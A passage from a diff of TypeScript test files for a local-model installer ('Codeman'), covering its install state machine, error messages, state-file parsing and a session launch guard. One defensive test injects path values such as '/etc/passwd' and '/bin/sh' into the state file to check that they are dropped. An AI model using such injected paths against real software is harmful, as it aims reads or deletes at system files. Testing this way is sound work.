expect(row.actions.includes('resume')).toBe(accepts('resume'));
// Remove is refused only while a job runs. From idle it only clears leftovers, so the
// window offers no button for it there.
if (state !== 'idle') expect(row.actions.includes('remove')).toBe(accepts('remove'));
// The runtime and a session are things of an installed model only.
for (const action of ['start', 'stop', 'start-session'] as LocalModelAction[]) {
expect(row.actions.includes(action)).toBe(state === 'installed');
}
});
it('a restart never leaves a job running, and never changes anything else', () => {
for (const state of STATES) {
const after = reduceInstallJob(SAMPLE[state], { type: 'restart' });
expect(after.state).not.toBe('installing');
if (state === 'installing') expect(after).toEqual({ ...SAMPLE.installing, state: 'paused' });
else expect(after).toBe(SAMPLE[state]);
}
});
});
describe('reduceInstallJob: what each event writes', () => {
it('install from idle starts at the first step with the model, the coding agent and the steps', () => {
expect(reduceInstallJob(SAMPLE.idle, EVENT.install)).toEqual({
schema: 1,
state: 'installing',
step: 'runtime',
steps: ['runtime', 'model', 'verify', 'connect'],
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
cli: { id: 'claude', label: 'Claude Code' },
});
});
it('a new install replaces a failed job but keeps what is still on disk: the runtime and the connection', () => {
const failed: LocalModelStateFile = { ...SAMPLE.failed, connection: CONNECTION, loaded: LOADED };
const next = reduceInstallJob(failed, EVENT.install);
expect(next).toEqual({
schema: 1,
state: 'installing',
step: 'runtime',
steps: ['runtime', 'model', 'verify', 'connect'],
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
// The old job's model is another one: what it left in the store is deleted first.
replacedModelId: 'qwen3.6:35b-a3b',
cli: { id: 'claude', label: 'Claude Code' },
runtime: RUNTIME,
connection: CONNECTION,
});
// Gone: the error, the progress, what the runtime had loaded.
expect(next).not.toHaveProperty('error');
expect(next).not.toHaveProperty('progress');
expect(next).not.toHaveProperty('loaded');
});
it('a new install of the SAME model replaces nothing in the store, and forgets its pull total and digest', () => {
const paused: LocalModelStateFile = {
...SAMPLE.paused,
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc' },
};
const next = reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent);
expect(next).not.toHaveProperty('replacedModelId');
expect(next.model).toEqual(MODEL);
});
it('a model still waiting to be deleted is carried over a second replacement, unless it is the new choice', () => {
const paused: LocalModelStateFile = { ...SAMPLE.paused, replacedModelId: 'qwen3.8:27b' };
// Same model again: the older leftover is still to be deleted.
expect(reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent).replacedModelId).toBe(
'qwen3.8:27b'
);
// Going back to the leftover itself: it is the model that is wanted now.
const back = { ...EVENT.install, model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B', context: 131072 } };
expect(
reduceInstallJob({ ...paused, model: { ...MODEL, id: 'qwen3.8:27b' } }, back as InstallJobEvent)
).not.toHaveProperty('replacedModelId');
});
it('refuses an install whose steps are not a job', () => {
const idle = SAMPLE.idle;
expect(reduceInstallJob(idle, { ...EVENT.install, steps: [] } as InstallJobEvent)).toBe(idle);
expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['model', 'model'] } as InstallJobEvent)).toBe(idle);
expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['reboot'] } as unknown as InstallJobEvent)).toBe(idle);
});
it('progress changes the progress and nothing else', () => {
const next = reduceInstallJob(SAMPLE.installing, EVENT.progress);
expect(next).toEqual({
...SAMPLE.installing,
progress: { completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
});
});
it('refuses progress that is not two byte counts', () => {
for (const bad of [
{ completedBytes: -1, totalBytes: 10 },
{ completedBytes: 1.5, totalBytes: 10 },
{ completedBytes: Number.NaN, totalBytes: 10 },
{ completedBytes: 1, totalBytes: Number.POSITIVE_INFINITY },
]) {
expect(reduceInstallJob(SAMPLE.installing, { type: 'progress', ...bad })).toBe(SAMPLE.installing);
}
});
it('step-done moves to the next step of THIS job and clears the progress', () => {
const steps: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'connect'];
let state: LocalModelStateFile = { ...SAMPLE.installing, step: 'runtime', steps };
const visited: (LocalModelInstallStep | undefined)[] = [state.step];
for (let i = 0; i < 3; i++) {
state = reduceInstallJob(state, { type: 'step-done' });
expect(state.state).toBe('installing');
expect(state).not.toHaveProperty('progress');
visited.push(state.step);
}
// The agent step is not part of this job, so it is never entered.
expect(visited).toEqual(steps);
});
it('the last step-done makes the job installed and keeps only what an installation has', () => {
const last: LocalModelStateFile = {
...SAMPLE.installing,
step: 'connect',
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' },
loaded: LOADED,
connection: CONNECTION,
};
expect(reduceInstallJob(last, { type: 'step-done' })).toEqual(SAMPLE.installed);
});
it('refuses a step-done it cannot apply: a state without its step, a last step without a runtime', () => {
const noStep: LocalModelStateFile = { schema: 1, state: 'installing', steps: ALL_STEPS, model: MODEL, cli: CLI };
expect(reduceInstallJob(noStep, { type: 'step-done' })).toBe(noStep);
const foreign: LocalModelStateFile = { ...SAMPLE.installing, step: 'agent', steps: ['runtime', 'model'] };
expect(reduceInstallJob(foreign, { type: 'step-done' })).toBe(foreign);
const noRuntime: LocalModelStateFile = {
schema: 1,
state: 'installing',
step: 'connect',
steps: ALL_STEPS,
model: MODEL,
cli: CLI,
};
expect(reduceInstallJob(noRuntime, { type: 'step-done' })).toBe(noRuntime);
});
it('fail keeps the step and the progress as they stood and stores the error', () => {
expect(reduceInstallJob(SAMPLE.installing, EVENT.fail)).toEqual({
...SAMPLE.installing,
state: 'failed',
error: { code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
});
// An error without extras is just its code.
expect(reduceInstallJob(SAMPLE.installing, { type: 'fail', code: 'internal', vars: {} }).error).toEqual({
code: 'internal',
});
});
it('cancel pauses at the same step, with the progress as it stood', () => {
expect(reduceInstallJob(SAMPLE.installing, { type: 'cancel' })).toEqual(SAMPLE.paused);
});
it('resume re-enters the same step and clears the error', () => {
const next = reduceInstallJob(SAMPLE.failed, { type: 'resume' });
expect(next).toEqual({ ...SAMPLE.installing });
expect(next).not.toHaveProperty('error');
expect(reduceInstallJob(SAMPLE.paused, { type: 'resume' }).step).toBe('model');
});
it('remove drops everything, from every state that allows it', () => {
for (const state of ['idle', 'paused', 'failed', 'installed'] as const) {
expect(reduceInstallJob(SAMPLE[state], { type: 'remove' })).toEqual({ schema: 1, state: 'idle' });
}
});
});
describe('allowedActions', () => {
it('outside installed it is the state row, whatever is live', () => {
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
expect(allowedActions(SAMPLE[state], { ...LIVE, running: true, gaveUp: true, portInUse: true })).toEqual([
...INSTALL_STATE_TABLE[state].actions,
]);
}
expect(allowedActions(SAMPLE.idle, LIVE)).toEqual(['install']);
expect(allowedActions(SAMPLE.installing, LIVE)).toEqual(['cancel']);
expect(allowedActions(SAMPLE.paused, LIVE)).toEqual(['resume', 'install', 'remove']);
expect(allowedActions(SAMPLE.failed, LIVE)).toEqual(['resume', 'install', 'remove']);
});
it('installed and running: a session can be started and the runtime stopped', () => {
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toEqual([
'start-session',
'stop',
'remove',
]);
});
it('installed and stopped: it can be started, and no session is offered', () => {
expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'remove']);
});
it('installed and running a model that changed: no session', () => {
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual(['stop', 'remove']);
});
it('a digest that could not be read does not hide the session button: the launch itself reads it again', () => {
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'unknown' })).toContain('start-session');
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).toContain('start-session');
});
it('never returns the table row itself', () => {
const actions = allowedActions(SAMPLE.idle, LIVE);
actions.push('remove');
expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install']);
});
});
describe('installedBlocker', () => {
it('is nothing outside installed, and nothing for a runtime the person stopped', () => {
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
expect(
installedBlocker(SAMPLE[state], { ...LIVE, portInUse: true, gaveUp: true, digest: 'changed' })
).toBeUndefined();
}
expect(installedBlocker(SAMPLE.installed, LIVE)).toBeUndefined();
expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toBeUndefined();
});
it('another program on the port: the port, and "Use another port"', () => {
expect(installedBlocker(SAMPLE.installed, { ...LIVE, portInUse: true })).toEqual({
code: 'port-in-use',
message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } },
next: 'other-port',
});
});
it('a runtime that keeps stopping: "Start"', () => {
expect(installedBlocker(SAMPLE.installed, { ...LIVE, gaveUp: true })).toEqual({
code: 'runtime-stopped',
message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' },
next: 'start',
});
});
it('a model that changed: "Remove"', () => {
expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual({
code: 'model-changed',
message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' },
next: 'remove',
});
});
});
describe('buildInstallView', () => {
it('idle: only what is always there, with the runtime download an install would add', () => {
expect(buildInstallView(SAMPLE.idle, { ...LIVE, developerTools: 'missing' })).toEqual({
state: 'idle',
running: false,
developerTools: 'missing',
runtime: {
version: '0.40.15',
installed: false,
downloadBytes: 185_971_671,
downloadGb: '0.2',
unpackedGb: '0.6',
},
folder: '/Users/me/.codeman/local-model',
actions: ['install'],
});
});
it('once the runtime is unpacked an install downloads nothing for it', () => {
const view = buildInstallView(SAMPLE.idle, { ...LIVE, runtimeInstalled: true });
expect(view.runtime).toEqual({
version: '0.40.15',
installed: true,
downloadBytes: 0,
downloadGb: '0.0',
unpackedGb: '0.6',
});
});
it('installing: the step, the steps, the choice, the port, and the download as the window prints it', () => {
const view = buildInstallView(SAMPLE.installing, { ...LIVE, running: true, bytesPerSecond: 58_000_000 });
expect(view).toEqual({
state: 'installing',
running: true,
developerTools: 'present',
runtime: {
version: '0.40.15',
installed: false,
downloadBytes: 185_971_671,
downloadGb: '0.2',
unpackedGb: '0.6',
},
folder: '/Users/me/.codeman/local-model',
actions: ['cancel'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
context: 131072,
cli: 'opencode',
cliLabel: 'OpenCode',
port: 11435,
step: 'model',
steps: ALL_STEPS,
progress: {
completedBytes: 6_200_000_000,
totalBytes: 23_105_798_956,
completedGb: '6.2',
totalGb: '23.1',
bytesPerSecond: 58_000_000,
mbPerSecond: '58',
// (23,105,798,956 - 6,200,000,000) / 58,000,000 = 291.5, rounded up.
secondsLeft: 292,
},
});
});
it('a speed is shown only while the job runs: a paused job has its bytes and no speed', () => {
const view = buildInstallView(SAMPLE.paused, { ...LIVE, bytesPerSecond: 58_000_000 });
expect(view.progress).toEqual({
completedBytes: 6_200_000_000,
totalBytes: 23_105_798_956,
completedGb: '6.2',
totalGb: '23.1',
});
expect(view.actions).toEqual(['resume', 'install', 'remove']);
});
it('a speed of zero has no time left, and a download without a total has no progress at all', () => {
const stalled = buildInstallView(SAMPLE.installing, { ...LIVE, bytesPerSecond: 0 });
expect(stalled.progress).toMatchObject({ bytesPerSecond: 0, mbPerSecond: '0' });
expect(stalled.progress).not.toHaveProperty('secondsLeft');
const noTotal = buildInstallView(
{ ...SAMPLE.installing, progress: { completedBytes: 0, totalBytes: 0 } },
{ ...LIVE, bytesPerSecond: 5 }
);
expect(noTotal).not.toHaveProperty('progress');
});
it('a job before its port was chosen has no port', () => {
const { runtime: _runtime, ...early } = SAMPLE.installing;
expect(buildInstallView(early, LIVE)).not.toHaveProperty('port');
});
it('failed: the sentence, its slots, the one next step, the model to try next, and the raw detail', () => {
const failed: LocalModelStateFile = {
...SAMPLE.failed,
step: 'verify',
error: {
code: 'no-tool-call',
vars: { model: 'Qwen3.6 35B-A3B' },
detail: 'finish_reason stop',
nextModelId: 'gpt-oss:20b',
},
};
const view = buildInstallView(failed, {
...LIVE,
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
});
expect(view.state).toBe('failed');
expect(view.step).toBe('verify');
expect(view.error).toEqual({
code: 'no-tool-call',
message: {
text: '{model} loaded but did not call a tool, so a coding agent cannot work with it.',
vars: { model: 'Qwen3.6 35B-A3B' },
},
next: 'next-model',
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
detail: 'finish_reason stop',
});
});
it('a next model is named only for an error whose next step is another model', () => {
const view = buildInstallView(SAMPLE.failed, {
...LIVE,
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
});
expect(view.error).toEqual({
code: 'pull-failed',
message: { text: LOCAL_MODEL_INSTALL_LABELS.errPullFailed },
next: 'retry',
detail: 'tls: bad record MAC',
});
});
it('installed: the facts of the Done line, the endpoint a session starts on, and no step', () => {
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, runtimeInstalled: true, digest: 'same' });
expect(view).toEqual({
state: 'installed',
running: true,
developerTools: 'present',
runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' },
folder: '/Users/me/.codeman/local-model',
actions: ['start-session', 'stop', 'remove'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
context: 131072,
cli: 'opencode',
cliLabel: 'OpenCode',
port: 11435,
loaded: { context: 131072, memoryBytes: 26_300_000_000, memoryGb: '26.3', onGpu: true },
endpointId: 'local-ollama',
});
});
it('installed: what blocks a session is on the view and the state stays installed', () => {
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' });
expect(view.state).toBe('installed');
expect(view.error?.code).toBe('model-changed');
expect(view.actions).toEqual(['stop', 'remove']);
});
it('a model that was not all on the GPU says so', () => {
const view = buildInstallView(
{ ...SAMPLE.installed, loaded: { ...LOADED, sizeVramBytes: 20_000_000_000 } },
{ ...LIVE, running: true }
);
expect(view.loaded?.onGpu).toBe(false);
});
it('every sentence it sends is one of the install labels', () => {
const sentences = new Set<string>(Object.values(LOCAL_MODEL_INSTALL_LABELS));
for (const code of Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[]) {
const error = buildInstallError(code, { vars: { model: 'M' } });
expect(sentences.has(error.message.text)).toBe(true);
expect(error.next).toBe(LOCAL_MODEL_ERROR_NEXT[code]);
}
});
});
describe('formatInstallMessage', () => {
it('fills the slots of a sentence', () => {
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: { port: '11435' } })).toBe(
'Port 11435 is in use by another program.'
);
expect(
formatInstallMessage({
text: LOCAL_MODEL_INSTALL_LABELS.errContextNotApplied,
vars: { model: 'Qwen3.6 35B-A3B', actual: '32768', wanted: '131072' },
})
).toBe('Qwen3.6 35B-A3B loaded with a context of 32768 tokens instead of 131072.');
});
it('leaves a sentence without slots, and a slot without a value, as they are', () => {
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning })).toBe(
'An install is already running.'
);
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse })).toBe(
'Port {port} is in use by another program.'
);
// A slot name that is a member of every object is not a value.
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: {} })).toContain('{port}');
});
});
File diff suppressed because it is too large. Load diff
+270
View File
@@ -0,0 +1,270 @@
/**
* @fileoverview The one reader and writer of `local-model.json` (src/local-model/state-store.ts).
*
* What is pinned:
* - reading is TOTAL: a missing file, text that does not parse, another schema, an unknown
* state and a state that lacks a member it needs all read as idle, and a member of the
* wrong type is dropped rather than trusted;
* - the file holds no path, so nothing in it can point a delete anywhere;
* - writes are serialized, go through a temp file, are mode 0600 and stamp `updatedAt`.
*
* Port: N/A (no server; the file lives in the test's temp data dir).
*/
import { afterEach, describe, expect, it } from 'vitest';
import { existsSync, readdirSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
import { dirname } from 'node:path';
import { dataPath } from '../src/config/instance.js';
import {
IDLE_LOCAL_MODEL_STATE,
mutateLocalModelState,
parseLocalModelState,
readLocalModelState,
} from '../src/local-model/state-store.js';
import type { LocalModelStateFile } from '../src/types.js';
const FILE = () => dataPath('local-model.json');
const INSTALLED: LocalModelStateFile = {
schema: 1,
state: 'installed',
model: {
id: 'qwen3.6:35b-a3b',
label: 'Qwen3.6 35B-A3B',
context: 131072,
pullBytes: 23_105_798_956,
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
},
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 },
loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
updatedAt: '2026-11-06T10:00:00.000Z',
};
const PAUSED: LocalModelStateFile = {
schema: 1,
state: 'paused',
step: 'model',
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
};
const FAILED: LocalModelStateFile = {
...PAUSED,
state: 'failed',
step: 'verify',
error: {
code: 'no-tool-call',
vars: { model: 'Qwen3.6 35B-A3B' },
detail: 'finish_reason stop',
nextModelId: 'gpt-oss:20b',
},
};
afterEach(() => {
rmSync(FILE(), { force: true });
});
describe('parseLocalModelState', () => {
it('reads back exactly what a state of each kind holds', () => {
for (const state of [INSTALLED, PAUSED, FAILED, { ...PAUSED, state: 'installing' as const }]) {
expect(parseLocalModelState(JSON.stringify(state))).toEqual(state);
}
});
it.each([
['an empty file', ''],
['text that does not parse', '{"schema":1,"state":"installed",'],
['a list', '[]'],
['null', 'null'],
['another schema', JSON.stringify({ ...INSTALLED, schema: 2 })],
['no schema', JSON.stringify({ state: 'installed' })],
['an unknown state', JSON.stringify({ ...INSTALLED, state: 'ready' })],
['idle', JSON.stringify({ schema: 1, state: 'idle', model: INSTALLED.model })],
['idle with everything a job has', JSON.stringify({ ...PAUSED, state: 'idle' })],
['idle with everything an installation has', JSON.stringify({ ...INSTALLED, state: 'idle' })],
])('%s reads as idle', (_label, raw) => {
expect(parseLocalModelState(raw)).toBe(IDLE_LOCAL_MODEL_STATE);
});
it('a state that lacks a member it needs is not trusted: it reads as idle', () => {
const without = (state: LocalModelStateFile, key: keyof LocalModelStateFile) => {
const copy: Record<string, unknown> = { ...state };
delete copy[key];
return JSON.stringify(copy);
};
// Installed needs its model, its coding agent and its runtime (the port).
expect(parseLocalModelState(without(INSTALLED, 'model'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(INSTALLED, 'cli'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(INSTALLED, 'runtime'))).toBe(IDLE_LOCAL_MODEL_STATE);
// A job needs its step and its steps, and a failed one its error.
expect(parseLocalModelState(without(PAUSED, 'step'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(PAUSED, 'steps'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(FAILED, 'error'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, step: 'agent', steps: ['runtime', 'model'] }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'model'] }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'reboot'] }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
expect(parseLocalModelState(JSON.stringify({ ...FAILED, error: { code: 'made-up' } }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
});
it('drops a member of the wrong type instead of trusting it', () => {
const parsed = parseLocalModelState(
JSON.stringify({
...INSTALLED,
model: { ...INSTALLED.model, pullBytes: '23 GB', digest: 12 },
runtime: { ...INSTALLED.runtime, pid: 'four', measuredTotalBytes: -1 },
loaded: { context: 131072, sizeBytes: 'big', sizeVramBytes: 1 },
connection: { endpointId: 'local-ollama', flagWasEnabled: 'no' },
updatedAt: 5,
})
);
expect(parsed).toEqual({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
});
});
it('a port that is not a port makes the runtime unknown', () => {
for (const port of [0, 70_000, 11435.5, '11435', null]) {
expect(
parseLocalModelState(JSON.stringify({ ...PAUSED, runtime: { version: '0.40.15', port, enabled: true } }))
).not.toHaveProperty('runtime');
}
});
it('only an explicit false switches the runtime off', () => {
const enabled = (value: unknown) =>
parseLocalModelState(
JSON.stringify({ ...INSTALLED, runtime: { version: '0.40.15', port: 11435, enabled: value } })
).runtime?.enabled;
expect(enabled(false)).toBe(false);
expect(enabled(true)).toBe(true);
expect(enabled(undefined)).toBe(true);
expect(enabled('false')).toBe(true);
});
it('drops members it does not know, at every level: a state file holds no path', () => {
const parsed = parseLocalModelState(
JSON.stringify({
...INSTALLED,
root: '/Users/me',
runtimeDir: '/',
model: { ...INSTALLED.model, path: '/etc' },
runtime: { ...INSTALLED.runtime, binary: '/bin/sh' },
connection: { ...INSTALLED.connection, file: '/etc/passwd' },
})
);
expect(parsed).toEqual(INSTALLED);
expect(JSON.stringify(parsed)).not.toContain('/');
});
it('keeps the model a replaced job left behind on a job, and never on an installed state', () => {
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, replacedModelId: 'qwen3.8:27b' })).replacedModelId).toBe(
'qwen3.8:27b'
);
expect(parseLocalModelState(JSON.stringify({ ...INSTALLED, replacedModelId: 'qwen3.8:27b' }))).not.toHaveProperty(
'replacedModelId'
);
});
it('an error is kept only on a failed job, and progress and a step only on a job', () => {
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, error: FAILED.error }))).not.toHaveProperty('error');
const installed = parseLocalModelState(
JSON.stringify({
...INSTALLED,
error: FAILED.error,
step: 'connect',
steps: PAUSED.steps,
progress: PAUSED.progress,
})
);
expect(installed).toEqual(INSTALLED);
});
});
describe('readLocalModelState', () => {
it('is idle when the file is missing, and never throws', async () => {
expect(existsSync(FILE())).toBe(false);
expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE);
});
it('is idle for a file that does not parse', async () => {
writeFileSync(FILE(), 'not json');
expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE);
});
it('reads what is stored', async () => {
writeFileSync(FILE(), JSON.stringify(INSTALLED));
expect(await readLocalModelState()).toEqual(INSTALLED);
});
});
describe('mutateLocalModelState', () => {
it('writes the returned state, stamps updatedAt, and answers with before and after', async () => {
const { updatedAt: _stamp, ...paused } = PAUSED;
const { before, after } = await mutateLocalModelState(() => paused);
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
expect(after).toMatchObject(paused);
expect(Number.isNaN(Date.parse(after!.updatedAt!))).toBe(false);
expect(await readLocalModelState()).toEqual(after);
});
it('writes nothing when the change returns undefined: no file appears', async () => {
const { before, after } = await mutateLocalModelState(() => undefined);
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
expect(after).toBeUndefined();
expect(existsSync(FILE())).toBe(false);
});
it('the file is mode 0600 and no temp file is left beside it', async () => {
await mutateLocalModelState(() => PAUSED);
expect(statSync(FILE()).mode & 0o777).toBe(0o600);
expect(readdirSync(dirname(FILE())).filter((name) => name.startsWith('local-model.json'))).toEqual([
'local-model.json',
]);
});
it('changes started together run one after the other: none is lost', async () => {
await mutateLocalModelState(() => PAUSED);
const add = (bytes: number) =>
mutateLocalModelState((current) => ({
...current,
progress: {
completedBytes: (current.progress?.completedBytes ?? 0) + bytes,
totalBytes: 23_105_798_956,
},
}));
await Promise.all(Array.from({ length: 10 }, () => add(1_000)));
expect((await readLocalModelState()).progress?.completedBytes).toBe(6_200_000_000 + 10_000);
});
it('a change that throws rejects its own caller and the next one still runs', async () => {
const thrown = mutateLocalModelState(() => {
throw new Error('boom');
});
const next = mutateLocalModelState(() => PAUSED);
await expect(thrown).rejects.toThrow('boom');
expect((await next).after).toMatchObject({ state: 'paused' });
});
it('replaces a file that does not parse: it holds nothing of the person to lose', async () => {
writeFileSync(FILE(), '{broken');
const { before } = await mutateLocalModelState(() => PAUSED);
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
expect(JSON.parse(readFileSync(FILE(), 'utf8'))).toMatchObject({ schema: 1, state: 'paused' });
});
});
@@ -0,0 +1,304 @@
/**
* @fileoverview The launch guard of the endpoint the local model install manages: both ways a
* session gets onto a custom model endpoint ask the install service first.
*
* - `POST /api/sessions/:id/custom-model` (a running session switches to the endpoint), and
* - `POST /api/quick-start` with `customModel` (a session is created on it)
*
* call `LocalModelService.launchRefusalMessage(endpointId, modelId)` once the endpoint is
* found and before anything is written, restarted or created. A sentence back is the answer
* (`OPERATION_FAILED`); `undefined` lets the launch go on exactly as before. That is how a
* model whose digest is no longer the one stored at install time is not launched, and how
* nothing is launched against a port our runtime is not on.
*
* The service is replaced by a fake for most cases, and is the REAL one (over the real state
* file, with no runtime running) for the cases that pin the default wiring.
*
* Port: N/A (app.inject, no real port needed)
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import Fastify, { type FastifyInstance } from 'fastify';
import fastifyCookie from '@fastify/cookie';
import { rmSync, writeFileSync } from 'node:fs';
import { rm } from 'node:fs/promises';
import { join } from 'node:path';
import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js';
import { createRouteTestHarness } from './_route-test-utils.js';
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
import { registerSessionRoutes } from '../../src/web/routes/session-routes.js';
import { dataPath, getDataDir } from '../../src/config/instance.js';
import { CASES_DIR } from '../../src/web/route-helpers.js';
import { Session } from '../../src/session.js';
import { writeCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js';
import { webviewFetch } from '../../src/web/webview-egress.js';
import type { LocalModelService } from '../../src/local-model/install-job.js';
vi.mock('../../src/web/webview-egress.js', async () => {
const actual = await vi.importActual<typeof import('../../src/web/webview-egress.js')>(
'../../src/web/webview-egress.js'
);
return { ...actual, webviewFetch: vi.fn() };
});
const fetchMock = vi.mocked(webviewFetch);
// See test/routes/quick-start-custom-model.test.ts: the CLI availability gate runs before the
// code under test and would refuse every launch on a machine without the binary.
vi.mock('../../src/utils/cli-launcher.js', async () => {
const actual = await vi.importActual<typeof import('../../src/utils/cli-launcher.js')>(
'../../src/utils/cli-launcher.js'
);
return { ...actual, resolveCliLaunchError: vi.fn().mockResolvedValue(null) };
});
/** The service the session routes get: a fake by default, the real one where a test says so. */
const guard = vi.hoisted(() => ({
launchRefusalMessage: vi.fn<(endpointId: string, modelId: string) => Promise<string | undefined>>(),
real: undefined as LocalModelService | undefined,
}));
vi.mock('../../src/local-model/install-job.js', async () => {
const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>(
'../../src/local-model/install-job.js'
);
return {
...actual,
getLocalModelService: () => guard.real ?? { launchRefusalMessage: guard.launchRefusalMessage },
};
});
const MANAGED: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
const OTHER: CustomModelHost = { id: 'ep1', label: 'llama.cpp box', baseUrl: 'http://192.168.1.50:8080', apiKey: 'k' };
const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.';
const STATE = () => dataPath('local-model.json');
/** The state file of an installed model whose connection is the managed record. */
function writeInstalledState(): void {
writeFileSync(
STATE(),
JSON.stringify({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
})
);
}
async function realService(): Promise<LocalModelService> {
const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>(
'../../src/local-model/install-job.js'
);
// The real service with its real state file. No runtime was ever started by it.
return actual.createLocalModelService();
}
beforeEach(async () => {
guard.launchRefusalMessage.mockReset();
guard.launchRefusalMessage.mockResolvedValue(undefined);
guard.real = undefined;
fetchMock.mockReset();
fetchMock.mockResolvedValue(new Response('not found', { status: 404 }));
await writeCustomModelHosts(getDataDir(), [MANAGED, OTHER]);
});
afterEach(async () => {
rmSync(STATE(), { force: true });
await rm(join(getDataDir(), 'custom-model-hosts.json'), { force: true });
await rm(join(getDataDir(), 'custom-model-configs'), { recursive: true, force: true });
});
describe('POST /api/sessions/:id/custom-model on the managed endpoint', () => {
async function setup() {
const harness = await createRouteTestHarness(registerSessionRoutes);
const session = harness.ctx.sessions.get('test-session-1')!;
session.mode = 'claude';
return { ...harness, session };
}
const apply = (app: FastifyInstance, payload: Record<string, unknown>) =>
app.inject({ method: 'POST', url: '/api/sessions/test-session-1/custom-model', payload });
it('asks the install service with the endpoint and the model, before anything is applied', async () => {
const { app, session } = await setup();
